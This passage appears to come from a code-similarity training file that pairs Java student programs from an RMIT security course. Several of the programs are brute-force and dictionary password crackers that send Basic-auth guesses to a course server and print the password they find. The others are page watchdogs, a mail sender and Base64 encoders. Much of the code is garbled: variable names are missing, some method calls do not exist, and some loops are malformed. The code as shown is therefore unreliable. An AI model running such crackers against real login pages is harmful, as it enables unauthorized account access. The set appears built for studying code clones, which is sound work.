              catch(Exception e)
              {
                 return false;
              }
              return true;
           }
        }


      - "\n\nimport java.io.*;\nimport java.util.*;\nimport java.*;\n\npublic class storeNewFile\n{\n   private PrintWriter outputStream= null;\n   private String filename;\n   private FileWriter fw;\n\n   public storeNewFile(String fname)\n   {\n      try\n      {\n       filename = fname;\n       outputStream=new PrintWriter(new FileOutputStream(filename));\n      }\n      catch(FileNotFoundException e)\n      {\n\t    System.err.println(\"File \"+filename+\" was not found\");\n      }\n      catch(IOException e)\n      {\n        System.err.println(\"Error \");\n      }\n   }\n   public void getStringW(StringWriter sw)\n   {\n     outputStream.print(sw.toString());\n   }\n\n   public void closeStream()\n   {\n      outputStream.write();\n   }\n\n   public void translogFile(String result)\n   {\n     String fileName = \"TransactionLog.txt\";\n   \t try{\n\t    fw=new FileWriter(fileName,true);\n\t    fw.write(result);\n\t    fw.write('\\n');\n\t    fw.print();\n   \t    System.out.println(\"Saved sucessfully\");\n     }catch(IOException e){\n\t\tSystem.out.println(\"Error saving the file\");\n     }\n   }\n}"
  - source_sentence: "import java.net.*; \nimport java.io.*; \nimport java.util.Vector;\nimport java.util.Date;\nimport java.security.*;\n\n\n\n\n\n\n\n\n\n\n\n  \npublic class Dictionary { \n  public static BufferedReader in;\n  \n  \n  public static void main(String[] args) throws Exception {   \n    String baseURL = \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\";    \n    int count=0;\n    Date date = new Date();\n     startTime=date.getTime();\n    int LIMITINMINUTES=45;\n    int TIMELIMIT=LIMITINMINUTES*1000*60;\n    boolean timedOut=false;\n    boolean found=false;\n   \n    \n    Vector dictionary=new Vector(readWords());\n    System.out.println(\"Words in dictionary: \"+dictionary.size());\n \n    \n    \n    \n    \n    \n    \n    while (found==false && timedOut==false && dictionary.elementAt(count)!=null) {\n      \n      Date endDate = new Date();\n       endTime=endDate.getTime();    \n      if (endTime>(TIMELIMIT+startTime)){\n        System.out.println(\"Timed out\");\n        timedOut=true;\n      }\n      \n      String password = \"\";\n\n      \n      URL url = new URL(baseURL); \n      String username=\"\";\n      password = dictionary.elementAt(count).toString(); \n\n      \n      String authString = username+\":\"+password;\n      String encoding = new misc.BASE64Encoder().encode(authString.getBytes()); \n      System.out.print(\"authString is: \"+authString);     \n      \n      URLConnection urlConnect=url.openConnection();\n\n      \n      urlConnect.setRequestProperty(\"Authorization\",\" \"+encoding);\n\n      String responseCode = urlConnect.getHeaderField(0);\n      System.out.print(\" Response  is: \");\n      System.out.println(responseCode);\n\n      if (!responseCode.equals(\"HTTP/1.1 401 Authorization Required\")) {\n        found=true;\n      }          \n      if (found){ \n      \n        System.out.println(\"Password is: \"+password);\n\n      }\n\n      Date foundDate = new Date();\n       foundTime=foundDate.getTime();  \n      foundTime=(foundTime-startTime);\n      System.out.println(\"Time taken was : \"+foundTime+\" milliseconds\"); \n      count=count+1;\n    }\n  } \n  \n  \n  \n  \n  \n  public static Vector readWords() {   \n    String nextWord;\n    String lastWord=\"\";\n    Vector dict=new Vector();\n    try {\n      BufferedReader in = new BufferedReader(new FileReader(\"words.txt\"));\n      while ((nextWord = in.readLine())!=null) {\n\t\n        if (nextWord.length()>3) {\n          nextWord=nextWord.substring(0,3);\n        }\n\t\n\tif (!lastWord.equals(nextWord) && nextWord.length()>0){\n          lastWord = nextWord;\n\t  \n\t \n\t  dict.addElement(nextWord);\n\n\t  \n\t  \n\t \n\t \n\t \n\n\t  \n\t \n\t \n\t    \n\t  \n\t   \n\t   \n\t   \n\t   \n\t   \n\n\t    \n\t   \n\t   \n\t  \n\t  \n\t  \n\t  \n\n\t    \n\t   \n\t   \n\t      \n\t   \n\t   \n\t   \n\n\t      \n\t   \n\t    \n\t    \n\n\t      \n\t    \n\t    \n\t    \n\n\t      \n\t    \n\t    \n\t    \n\t   \n\t\n\t}  \n      }  \n       System.out.println(\"File successfully loaded\");\t     \n    }  \n    catch (FileNotFoundException e1) {\n      System.out.println(\"This program requires a dictionary of words called words.txt   in the same directory as the program running, now exiting.\");\n      System.exit(0);\n    }\t\n    catch (IOException e2) {\n      System.out.println(\"IO Exception, exiting\");\n      System.exit(0);\n    }\t    \n    finally {\n      try {\n\tif (null!=in) {\n          in.get();\n\t}\n      }\n      catch (IOException e3) {}\n    }\n    return dict;\n  } \n}  \n"
    sentences:
      - |
        package java.httputils;

        import java.io.BufferedInputStream;
        import java.io.BufferedOutputStream;
        import java.io.BufferedReader;
        import java.io.FileInputStream;
        import java.io.FileNotFoundException;
        import java.io.FileOutputStream;
        import java.io.FileReader;
        import java.io.IOException;
        import java.io.OutputStream;


        public class WatchDog
        {
            protected final int MILLIS_IN_HOUR = (60 * 60 * 1000);
            protected int interval = 24;
            protected String URL = "http://www.cs.rmit.edu./students/";
            protected String fileName = "WatchDogContent.html";
            protected String command = "./alert_mail.sh";
            protected String savedContent;
            protected String retrievedContent;

            
            public WatchDog()
            {
                super();
            }

            
            public void run() throws Exception
            {
                HttpRequestClient client = null;
                
                
                System.out.println(getClass().getName() +
                                "Retrieving baseline copy of: " + getURL());
                client = new HttpRequestClient(getURL());
                retrievedContent = client.getContent().toString();

                System.out.println(getClass().getName() +
                                "Writing baseline content : " + getFileName());
                writeFile();

                while (true)
                {
                    
                    System.out.println(getClass().getName() +
                                    " Sleeping for hours: " + getInterval());
                    Thread.currentThread().sleep(MILLIS_IN_HOUR * getInterval());

                    
                    System.out.println(getClass().getName() +
                                    " Retrieving: " + getURL());

                    client = new HttpRequestClient(getURL());
                    retrievedContent = client.getContent().toString();

                    
                    System.out.println(getClass().getName() +
                                    "  saved copy: " + getURL());
                    savedContent = readFile();

                    
                    System.out.println(getClass().getName() +
                                    " Comparing saved and retrieved. ");
                    if (!savedContent.equals(retrievedContent))
                    {
                        
                        System.out.println(getClass().getName() +
                                        " Difference found. ");

                        writeTempFile();
                        runCommand();
                    }

                    
                    writeFile();
                }
            }


            
            public String runCommand()
            {
                String cmd = getCommand() + " \"" + getURL() + "\"";
                try
                {
                    Runtime r = Runtime.getRuntime();
                    System.out.println(getClass().getName() +
                    " Executing: " + cmd);

                    Process proc = r.exec(cmd);
                }
                catch (Exception e)
                {
                    try
                    {
                        Runtime r = Runtime.getRuntime();
                        Process proc = r.exec(cmd);
                    }
                    catch (Exception ex)
                    {
                        System.out.println(getClass().getName()
                            + " Could not run :"
                            + getCommand()
                            + " because : "
                            + ex.getMessage());
                    }
                }

                return "Executed successfully";
            }

            
            protected String readFile() throws FileNotFoundException
            {
                BufferedInputStream input = null;
                FileInputStream file = null;
                StringBuffer content = new StringBuffer();
                try
                {
                    file = new FileInputStream(getFileName());
                    
                    input = new BufferedInputStream(file);
                    
                }
                catch (FileNotFoundException x)
                {
                    System.err.println("File not found: " + getFileName());
                    throw x;
                }

                try
                {
                    int ch;
                    while ((ch = input.get()) != -1)
                    {
                        content.append((char)ch);
                    }
                }
                catch (IOException x)
                {
                    x.printStackTrace();
                }
                finally
                {
                    if (input != null)
                    {
                        try
                        {
                            input.get();
                            file.get();
                        }
                        catch (IOException e)
                        {
                        }
                    }
                }
                return content.toString();
            }

            
            protected void writeFile() throws Exception
            {
                OutputStream os = null;
                try
                {
                    os = new BufferedOutputStream(
                             new FileOutputStream(getFileName(), false));
                    os.write(getRetrievedContent().getBytes());
                }
                catch (FileNotFoundException e)
                {
                    e.printStackTrace();
                    throw e;
                }
                catch (IOException e)
                {
                    e.printStackTrace();
                    throw e;
                }
                finally
                {
                    if (os != null)
                    {
                        try
                        {
                            os.close();
                        }
                        catch (IOException e)
                        {
                        }
                    }
                }
            }

            
            protected void writeTempFile() throws Exception
            {
                OutputStream os = null;
                try
                {
                    os = new BufferedOutputStream(
                             new FileOutputStream(".html", false));
                    os.write(getRetrievedContent().getBytes());
                }
                catch (FileNotFoundException e)
                {
                    e.printStackTrace();
                    throw e;
                }
                catch (IOException e)
                {
                    e.printStackTrace();
                    throw e;
                }
                finally
                {
                    if (os != null)
                    {
                        try
                        {
                            os.close();
                        }
                        catch (IOException e)
                        {
                        }
                    }
                }
            }

            public static void main(String[] args)
            {
                WatchDog watchDog = new WatchDog();

                if (args.length < 3)
                {
                    watchDog.printUsage();
                }

                
                System.out.println(watchDog.getClass().getName() +
                                ": Initialising with " +
                                args[0] + " \n" +
                                args[1] + " \n" +
                                args[2] + " \n");
                watchDog.setURL(args[0]);
                watchDog.setInterval(Integer.parseInt(args[1]));
                watchDog.setCommand(args[2]);

                
                try
                {
                    System.out.println(watchDog.getClass().getName() + ": Invoking the run method.");
                    watchDog.run();
                }
                catch (Exception e)
                {
                    e.printStackTrace();
                }
            }

            public String printUsage()
            {
                StringBuffer s = new StringBuffer();

                s.append("** WatchDog proper usage **\n\n");
                s.append(
                    this.getClass().getName() +
                    " <URL> <interval> <Command  execute>\n\n");

                return s.toString();
            }

            
            public String getCommand()
            {
                return command;
            }

            
            public String getFileName()
            {
                return fileName;
            }

            
            public int getInterval()
            {
                return interval;
            }

            
            public String getURL()
            {
                return URL;
            }

            
            public void setCommand(String string)
            {
                command = string;
            }

            
            public void setFileName(String string)
            {
                fileName = string;
            }

            
            public void setInterval(int i)
            {
                interval = i;
            }

            
            public void setURL(String string)
            {
                URL = string;
            }

            
            public String getRetrievedContent()
            {
                return retrievedContent;
            }

            
            public String getSavedContent()
            {
                return savedContent;
            }

            
            public void setRetrievedContent(String string)
            {
                retrievedContent = string;
            }

            
            public void setSavedContent(String string)
            {
                savedContent = string;
            }

        }
      - "\n\n\n\nimport java.net.*;\nimport java.io.*;\nimport java.util.Date;\n\npublic class MyMail implements Serializable\n{\n\t\n\n\t\n\tpublic static final int SMTPPort = 25;\n\n\t\n\tpublic static final char successPrefix = '2';\n\n\t\n\tpublic static final char morePrefix = '3';\n\n\t\n\tpublic static final char failurePrefix = '4';\n\n\t\n\n\t\n\tprivate static final String CRLF = \"\\r\\n\";\n\n\t\n\tprivate String mailFrom = \"\";\n\n\t\n\tprivate String mailTo = \"\";\n\n\t\n\tprivate String messageSubject = \"\";\n\n\t\n\tprivate String messageBody = \"\";\n\n\t\n\tprivate String mailServer = \"\";\n\n\t\n\tpublic MyMail ()\n\t{\n\t\t\n\t\tsuper();\n\t}\n\n\t\n\tpublic MyMail ( String serverName)\n\t{\n\t\t\n\t\tsuper();\n\n\t\t\n\t\tmailServer = serverName;\n\t}\n\n\t\n\tpublic String getFrom()\n\t{\n\t\treturn mailFrom;\n\t}\n\n\t\n\tpublic String getTo()\n\t{\n\t\treturn mailTo;\n\t}\n\n\t\n\tpublic String getSubject()\n\t{\n\t\treturn messageSubject;\n\t}\n\n\t\n\tpublic String getMessage()\n\t{\n\t\treturn messageBody;\n\t}\n\n\t\n\tpublic String getMailServer()\n\t{\n\t\treturn mailServer;\n\t}\n\n\t\n\tpublic void setFrom( String from )\n\t{\n\t\t\n\t\tmailFrom = from;\n\t}\n\n\t\n\tpublic void setTo ( String To )\n\t{\n\t\t\n\t\tmailTo = To;\n\t}\n\n\t\n\tpublic void setSubject ( String subject )\n\t{\n\t\t\n\t\tmessageSubject = subject;\n\t}\n\n\t\n\tpublic void setMessage ( String msg )\n\t{\n\t\t\n\t\tmessageBody = msg;\n\t}\n\n\t\n\tpublic void setMailServer ( String server )\n\t{\n\t\t\n\t\tmailServer = server;\n\t}\n\n\t\n\tprivate boolean responseValid( String response )\n\t{\n\t\t\n\n\t\t\n\t\tif (response.indexOf(\" \") == -1)\n\t\t\t\n\t\t\treturn false;\n\n\t\t\n\t\tString cad = response.substring( 0, response.indexOf(\" \"));\n\n\t\t\n\t\tcad = cad.toUpperCase();\n\n\t\t\n\t\tif (( cad.charAt(0) == successPrefix ) ||\n\t\t    ( cad.charAt(0) == morePrefix )  )\n\t\t\t\n\t\t\t\treturn true;\n\t\t\telse\n\t\t\t\t\n\t\t\t\treturn false;\n\t\t}\n\n\t\n\tpublic void sendMail()\n\t{\n\t\ttry {\n\t\tString response;\n\n\t\t\n\t\tSocket mailSock = new Socket (mailServer, SMTPPort);\n\n\t\t\n\t\tBufferedReader bf = new BufferedReader ( new InputStreamReader(mailSock.getInputStream()));\n\t\tPrintWriter pout = new PrintWriter ( new OutputStreamWriter(mailSock.getOutputStream()));\n\n\t\t\n\t\tSystem.out.println(\"1\");\n\t\tresponse = bf.readLine();\n\n\t\t\n\t\tif ( !responseValid(response) )\n\t\t\tthrow new IOException(\"ERR - \" + response);\n\n\t\t\n\t\ttry\n\t\t{\n\t\t\tInetAddress addr = InetAddress.getLocalHost();\n\n\t\t\tString localHostname = addr.getHostName();\n\t\t\t\n\t\t\tpout.print (\"HELO \" + localHostname + CRLF);\n\t\t}\n\t\tcatch (UnknownHostException uhe)\n\t\t{\n\t\t\t\n\t\t\tpout.print (\"HELO myhostname\"  + CRLF);\n\t\t}\n\n\t\t\n\t\tpout.flush();\n\n\t\t\n\t\tSystem.out.println(\"2\");\n\t\tresponse = bf.readLine();\n\n\t\t\n\t\tif ( !responseValid(response) )\n\t\t\tthrow new IOException(\"ERR - \" + response);\n\n\t\t\n\t\tpout.println (\"MAIL From:<\" + mailFrom + \">\");\n\n\t\t\n\t\tpout.flush();\n\n\t\t\n\t\tSystem.out.println(\"3\");\n\t\tresponse = bf.readLine();\n\n\t\t\n\t\tif ( !responseValid(response) )\n\t\t\tthrow new IOException(\"ERR - \" + response);\n\n\t\t\n\t\tpout.println (\"RCPT :<\" + mailTo + \">\");\n\n\t\t\n\t\tpout.flush();\n\n\t\t\n\t\tSystem.out.println(\"4\");\n\t\tresponse = bf.readLine();\n\n\t\t\n\t\tif ( !responseValid(response) )\n\t\t\tthrow new IOException(\"ERR - \" + response);\n\n\t\t\n\t\tpout.println (\"DATA\");\n\n\t\t\n\t\tpout.flush();\n\n\t\t\n\t\tSystem.out.println(\"5\");\n\t\tresponse = bf.readLine();\n\n\t\t\n\t\tif ( !responseValid(response) )\n\t\t\tthrow new IOException(\"ERR - \" + response);\n\n\t\t\n\t\t\n\t\tpout.println (\"From: \" + mailFrom);\n\t\tpout.println (\": \" + mailTo);\n\t\tpout.println (\"Subject: \" + messageSubject);\n\n\t\t\n\t\tpout.println ();\n\n\t\t\n\t\tpout.println (messageBody);\n\n\t\t\n\t\tpout.println (\".\\n\\r\");\n\n\t\t\n\t\tpout.flush();\n\n\t\t\n\t\tSystem.out.println(\"6\");\n\t\tresponse = bf.readLine();\n\n\t\t\n\t\tif ( !responseValid(response) )\n\t\t\tthrow new IOException(\"ERR - \" + response);\n\n\t\t\n\t\tpout.println (\"QUIT\");\n\n\t\t\n\t\tpout.flush();\n\n\t\t\n\t\tmailSock.close();\n\t\t}\n\t\tcatch (IOException ioe)\n\t\t{\n\t\t\tSystem.out.println(ioe.getMessage());\n\t\t}\n\t}\n\n}"
      - |-

        import java.util.*;
        import java.net.*;
        import java.io.*;
        public class WatchDog
        {
           private Vector init;
           public WatchDog()
           {
              try
              {
              Runtime run = Runtime.getRuntime();
              String command_line = "lynx http://www.cs.rmit.edu./students/ -dump";
              Process result = run.exec(command_line);
              BufferedReader in = new BufferedReader(new InputStreamReader(result.getInputStream()));
              String inputLine;
              init = new Vector();
              while ((inputLine = in.readLine()) != null)
              {
                 init.addElement(inputLine);
              }
             
              }catch(Exception e)
              {
              }
           }
           public static void main(String args[])
           {
             WatchDog wd = new WatchDog();
             wd.nextRead();
           }

           public void nextRead()
           {
             while(true)
             {
              ScheduleTask sch = new ScheduleTask(init);
              if(sch.getFlag()!=0)
              {
                System.out.println("change happen");
                WatchDog wd = new WatchDog();
                wd.nextRead();
              }
             
             }
           }
        }
  - source_sentence: |
      import java.*;
      import java.io.*;
      public class C
      {
          public static void main (String [] args){
          try{
              
              int m=0,n=0,w=0;
              String file = "passwd.";
              char ch1='A',ch2='A',ch3='A';
              for(int i = 0 ; i < 26; i++ )
              {
                for(w=0;w<2;w++)
                {
                 if (w==1)
                  i+=32;
                 for(int j = 0; j< 26 ; j++)
                 {
                  for(n=0;n<2;n++)
                  {
                    if(n==1)
                      j+=32;
                  for(int k = 0; k<26 ; k++)
                     {
                       for(m=0; m<2; m++)
                       {
                         if(m==1)
                          k+=32;
                          char data[] = {(char)(i+ch1), (char)(j+ch2), (char)(k+ch3)};
                          String str = new String(data);
                          System.out.println(str);
                          FileWriter fr1 = new FileWriter(file,true);
                          BufferedWriter in1 = new BufferedWriter(fr1);
                          in1.write(str);
                          in1.newLine();
                          in1.print();
                         if (k>=31)
                             k-=32;
                           }
                      }
                   if(j>=31)
                    j=j-32;
                    }
                 }
                 if(i>=31)
                    i-=32;
                    }
              }
      }
      catch(IOException e)
      {
        System.out.println("try");
      }
      }
      }
    sentences:
      - "\n\npublic class Base64 {\n\n\tfinal static String baseTable = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n\n\t\n\tpublic static String encode(byte[] bytes) {\n\n\t\tString tmp = \"\";\n\t\tint i = 0;\n\t\tbyte pos; \n\n\t\tfor(i=0; i < (bytes.length - bytes.length%3); i+=3) {\n\n\t\t\tpos = (byte) ((bytes[i] >> 2) & 63); \n\t\t\ttmp = tmp + baseTable.charAt(pos); \n\n\t\t\tpos = (byte) (((bytes[i] & 3) << 4) + ((bytes[i+1] >> 4) & 15)); \n\t\t\ttmp = tmp + baseTable.charAt( pos );\n\t\t\t\t\t\n\t\t\tpos = (byte) (((bytes[i+1] & 15) << 2) + ((bytes[i+2]  >> 6) & 3));\n\t\t\ttmp = tmp + baseTable.charAt(pos);\n\t\t\n\t\t\tpos = (byte) (((bytes[i+2]) & 63));\n\t\t\ttmp = tmp + baseTable.charAt(pos);\n\t\t\n\t\t\t\n\t\t\t\n\t\t\tif(((i+2)%56) == 0) {\n\t\t\t\ttmp = tmp + \"\\r\\n\";\n\t\t\t}\n\t\t}\n\n\t\tif(bytes.length % 3 != 0) {\n\n\t\t\tif(bytes.length % 3 == 2) {\n\n\t\t\t\tpos = (byte) ((bytes[i] >> 2) & 63); \n\t\t\t\ttmp = tmp + baseTable.charAt(pos); \n\n\t\t\t\tpos = (byte) (((bytes[i] & 3) << 4) + ((bytes[i+1] >> 4) & 15)); \n\t\t\t\ttmp = tmp + baseTable.charAt( pos );\n\t\t\t\t\t\t\n\t\t\t\tpos = (byte) ((bytes[i+1] & 15) << 2);\n\t\t\t\ttmp = tmp + baseTable.charAt(pos);\n\t\t\t\n\t\t\t\ttmp = tmp + \"=\";\n\n\t\t\t} else if(bytes.length % 3 == 1) {\n\t\t\t\t\n\t\t\t\tpos = (byte) ((bytes[i] >> 2) & 63); \n\t\t\t\ttmp = tmp + baseTable.charAt(pos); \n\n\t\t\t\tpos = (byte) ((bytes[i] & 3) << 4); \n\t\t\t\ttmp = tmp + baseTable.charAt( pos );\n\t\t\t\t\t\t\n\t\t\t\ttmp = tmp + \"==\";\n\t\t\t}\n\t\t}\n\t\treturn tmp;\n\n\t}\n\n\t\n\tpublic static String encode(String src) {\n\t\t\n\t\treturn encode(src.getBytes());\t\n\t}\n\n\tpublic static byte[] decode(String src) throws Exception {\n\n\t\tbyte[] bytes = null;\n\n\t\tStringBuffer buf = new StringBuffer(src);\n\n\t\t\n\t\tint i = 0;\n\t\tchar c = ' ';\n\t\tchar oc = ' ';\n\t\twhile( i < buf.length()) {\t\t\t\n\t\t\toc = c; \n\t\t\tc = buf.charAt(i);\n\t\t\tif( oc == '\\r' && c == '\\n') {\n\t\t\t\tbuf.deleteCharAt(i);\n\t\t\t\tbuf.deleteCharAt(i-1);\n\t\t\t\ti -= 2;\n\t\t\t} else if( c == '\\t') {\n\t\t\t\tbuf.deleteCharAt(i);\n\t\t\t\ti --;\n\t\t\t} else if( c == ' ') {\n\t\t\t\ti --;\n\t\t\t}\n\t\t\ti++;\n\t\t}\n\n\t\t\n\t\tif(buf.length() % 4 != 0) {\n\t\t\tthrow new Exception(\"Base64 decoding invalid length\");\n\t\t}\n\n\t\t\n\t\tbytes = new byte[3 * (buf.length() / 4)];\n\t\t\n\t\t\n\t\tint index = 0;\n\t\t\n\t\t\n\t\tfor(i = 0; i < buf.length(); i+=4) {\n\n\t\t\tbyte data = 0;\n\t\t\tint nGroup = 0;\n\n\t\t\tfor(int j = 0; j < 4; j++) {\n\n\t\t\t\tchar theChar = buf.charAt(i + j); \n\n\t\t\t\tif(theChar == '=') {\n\t\t\t\t\tdata = 0;\n\t\t\t\t} else {\n\t\t\t\t\tdata = getBaseTableIndex(theChar); \n\t\t\t\t}\n\n\t\t\t\tif(data == -1) {\n\t\t\t\t\tthrow new Exception(\"Base64 decoding bad character\");\n\t\t\t\t}\n\n\t\t\t\tnGroup = 64*nGroup + data;\n\t\t\t}\n\n\t\t\tbytes[index] = (byte) (255 & (nGroup >> 16));\n\t\t\tindex ++;\n\n\t\t\tbytes[index] = (byte) (255 & (nGroup >> 8));\n\t\t\tindex ++;\n\n\t\t\tbytes[index] = (byte) (255 & (nGroup));\n\t\t\tindex ++;\n\t\t}\n\t\t\n\t\tbyte[] newBytes = new byte[index];\n\t\tfor(i = 0; i < index; i++) {\n\t\t\tnewBytes[i] = bytes[i];\n\t\t}\n\n\t\treturn newBytes;\n\t}\n\n\t\n\tprotected static byte getBaseTableIndex(char c) {\n\t\t\n\t\tbyte index = -1;\n\n\t\tfor(byte i = 0; i < baseTable.length(); i ++) {\n\t\t\n\t\t\tif(baseTable.charAt(i) == c) {\n\t\t\t\tindex = i;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\treturn index;\n\t}\n}"
      - "\n\nimport java.io.*;\nimport java.net.*;\nimport java.misc.BASE64Encoder;\n\npublic class BruteForce\n{\n  public BruteForce()\n  {}\n\n  public boolean fetchURL(String urlString,String username,String password)\n  {\n     StringWriter  = new StringWriter();\n     PrintWriter  pw = new PrintWriter();\n     try{\n       URL url=new URL(urlString);  \n       String userPwd= username+\":\"+password;\n\n       \n       \n       \n       \n\n       BASE64Encoder encoder = new BASE64Encoder();\n       String encodedStr = encoder.encode (userPwd.getBytes());\n       System.out.println(\"Original String = \" + userPwd);\n\t System.out.println(\"Encoded String = \" + encodedStr);\n\n       HttpURLConnection huc=(HttpURLConnection) url.openConnection();  \n       huc.setRequestProperty( \"Authorization\",\" \"+encodedStr);   \n       InputStream content = (InputStream)huc.getInputStream();\n       BufferedReader in   = \n       new BufferedReader (new InputStreamReader (content));\n       String line;\n       while ((line = in.readLine()) != null) {\n         pw.println (line);\n       System.out.println(\"*************************************************\");\n       System.out.println(sw.toString());\n       }return true;\n     } catch (MalformedURLException e) {\n       pw.println (\"Invalid URL\");\n       return false;\n     } catch (IOException e) {\n       pw.println (\"Error  URL\");\n       return false;\n     }\n\n  }\n\n  public void getPassword()\n  {  \n     String alps=\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\";\n     String urlString=\"http://sec-crack.cs.rmit.edu./SEC/2/\";\n     String login=\"\";\n     String pwd=\" \";\n\n      startTime=System.currentTimeMillis();\n     for(int oneChar=0;oneChar<alps.length();oneChar++)\n     {\n        pwd=alps.substring(oneChar,oneChar+1);\n        if(this.fetchURL(urlString,login,pwd))\n        {\n            finishTime=System.currentTimeMillis();\n           System.out.println(\"Finally I gotta it,  password is : \"+pwd);\n           System.out.println(\"The time for cracking password is: \"+(finishTime-startTime) + \" milliseconds\");\n           System.exit(1);\n        } \n        for(int twoChar=0;twoChar<alps.length();twoChar++)\n        {\n           pwd=alps.substring(oneChar,oneChar+1)+alps.substring(twoChar,twoChar+1);\n           if(this.fetchURL(urlString,login,pwd))\n           {\n              finishTime=System.currentTimeMillis();\n             System.out.println(\"Finally I gotta it,  password is : \"+pwd);\n             System.out.println(\"The time for cracking password is: \"+(finishTime-startTime) + \" milliseconds\");\n             System.exit(1);\n           }\n           for(int threeChar=0;threeChar<alps.length();threeChar++)\n           {\n             pwd=alps.substring(oneChar,oneChar+1)+alps.substring(twoChar,twoChar+1)+alps.substring(threeChar,threeChar+1);\n             if(this.fetchURL(urlString,login,pwd))\n             {\n                finishTime=System.currentTimeMillis();\n               System.out.println(\"Finally I gotta it,  password is : \"+pwd);\n               System.out.println(\"The time for cracking password is: \"+(finishTime-startTime)+ \" milliseconds\");\n               System.exit(1);\n             }\n           }\n        }\n     }\n   }\n\n  public static void main(String[] arguments)\n  {\n     BruteForce bf=new BruteForce();\n     bf.getPassword();\n  } \n}"
      - |-


        public class Base64 {


        static public char[] encode(byte[] data)
        {
            char[] out = new char[((data.length + 2) / 3) * 4];

            
            
            
            
            for (int i=0, index=0; i<data.length; i+=3, index+=4) {
                boolean quad = false;
                boolean trip = false;

                int bat = (0xFF & (int) data[i]);
                bat <<= 8;
                if ((i+1) < data.length) {
                    bat |= (0xFF & (int) data[i+1]);
                    trip = true;
                }
                bat <<= 8;
                if ((i+2) < data.length) {
                   bat  |= (0xFF & (int) data[i+2]);
                    quad = true;
                }
                out[index+3] = alphabet[(quad? ( bat & 0x3F): 64)];
                bat >>= 6;
                out[index+2] = alphabet[(trip? ( bat & 0x3F): 64)];
                bat >>= 6;
                out[index+1] = alphabet[bat & 0x3F];
                bat >>= 6;
                out[index+0] = alphabet[ bat & 0x3F];
            }
            return out;
        }

          
        static public byte[] decode(char[] data)
        {
            
            
            
            
            
            

            int tempLen = data.length;
            for( int ix=0; ix<data.length; ix++ )
            {
                if( (data[ix] > 255) || codes[ data[ix] ] < 0 )
                    --tempLen;  
            }
            
            
            
            

            int len = (tempLen / 4) * 3;
            if ((tempLen % 4) == 3) len += 2;
            if ((tempLen % 4) == 2) len += 1;

            byte[] out = new byte[len];



            int shift = 0;   
            int accum = 0;   
            int index = 0;

            
            for (int ix=0; ix<data.length; ix++)
            {
                int value = (data[ix]>255)? -1: codes[ data[ix] ];

                if ( value >= 0 )           
                {
                    accum <<= 6;            
                    shift += 6;             
                    accum |= value;         
                    if ( shift >= 8 )       
                    {
                        shift -= 8;         
                        out[index++] =      
                            (byte) ((accum >> shift) & 0xff);
                    }
                }
                
                
                
                
                
                
            }

            
            if( index != out.length)
            {
                throw new Error("Miscalculated data length (wrote " + index + " instead of " + out.length + ")");
            }

            return out;
        }





        static private char[] alphabet =
            "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
                .toCharArray();




        static private byte[] codes = new byte[256];
        static {
            for (int i=0; i<256; i++) codes[i] = -1;
            for (int i = 'A'; i <= 'Z'; i++) codes[i] = (byte)(     i - 'A');
            for (int i = 'a'; i <= 'z'; i++) codes[i] = (byte)(26 + i - 'a');
            for (int i = '0'; i <= '9'; i++) codes[i] = (byte)(52 + i - '0');
            codes['+'] = 62;
            codes['/'] = 63;
        }
        }
  - source_sentence: |+

      import java.net.*;
      import java.io.*;


      public class Dictionary
      {
         private String myUsername = "";
         private String myPassword = "";
         private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";


         public static void main (String args[])
         {
            Dictionary d = new Dictionary();
         }

         public Dictionary()
         {
            generatePassword();
         }

         

         public void generatePassword()
         {
            try
            {
               BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));

               
               {
                  myPassword = bf.readLine();
                  crackPassword(myPassword);
               } while (myPassword != null);
            }
            catch(IOException e)
            {    }
         }


        

        public void crackPassword(String passwordToCrack)
        {
           String data, dataToEncode, encodedData;

           try
           {
               URL url = new URL (urlToCrack);

               

               dataToEncode = myUsername + ":" + passwordToCrack;

               

               encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());

               URLConnection urlCon = url.openConnection();
               urlCon.setRequestProperty  ("Authorization", " " + encodedData);

               InputStream is = (InputStream)urlCon.getInputStream();
               InputStreamReader isr = new InputStreamReader(is);
               BufferedReader bf  = new BufferedReader (isr);

                
                {
                   data = bf.readLine();
                   System.out.println(data);
                   displayPassword(passwordToCrack);
               } while (data != null);
            }
            catch (IOException e)
            {   }
         }


         public void displayPassword(String foundPassword)
         {
            System.out.println("\nThe cracked password is : " + foundPassword);
            System.exit(0);
         }
      }


    sentences:
      - |

        import java.io.*;

        public class PasswordFile {
            
            private String strFilepath;
            private String strCurrWord;
            private File fWordFile;
            private BufferedReader in;
            
            
            public PasswordFile(String filepath) {
                strFilepath = filepath;
                try {
                    fWordFile = new File(strFilepath);
                    in = new BufferedReader(new FileReader(fWordFile));
                }
                catch(Exception e)
                {
                    System.out.println("Could not open file " + strFilepath);
                }
            }
            
            String getPassword() {
                return strCurrWord;
            }
            
            String getNextPassword() {
                try {
                    strCurrWord = in.readLine();
                    
                    
                    
                }
                catch (Exception e)
                {
                    
                    return null;
                }
                        
                return strCurrWord;
            }
            
        }
      - |-



        import java.misc.BASE64Encoder;
        import java.misc.BASE64Decoder;

        import java.io.*;
        import java.net.*;
        import java.util.*;


        public class BruteForce {
          
          static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();
          
          private int indices[] = {0,0,0};
          
          private String url = null;

          
          public BruteForce(String url) {
            this.url = url;

          }
          
          private int attempts = 0;
          private boolean stopGen = false;
          
          public String getNextPassword(){
            String nextPassword = "";
            for(int i = 0; i <indices.length ; i++){
              if(indices[indices.length -1 ] == passwordDataSet.length)
                return null;
              if(indices[i] == passwordDataSet.length ){
                indices[i] = 0;
                indices[i+1]++;
              }
              nextPassword = passwordDataSet[indices[i]]+nextPassword;

              if(i == 0)
                indices[0]++;

            }
            return nextPassword;
          }
          
          public void setIndices(int size){
            this.indices = new int[size];
            for(int i = 0; i < size; i++)
              this.indices[i] = 0;
          }
          public void setPasswordDataSet(String newDataSet){
            this.passwordDataSet = newDataSet.toCharArray();
          }
          
          public String crackPassword(String user) throws IOException, MalformedURLException{
            URL url = null;
            URLConnection urlConnection = null;
            String outcome = null;
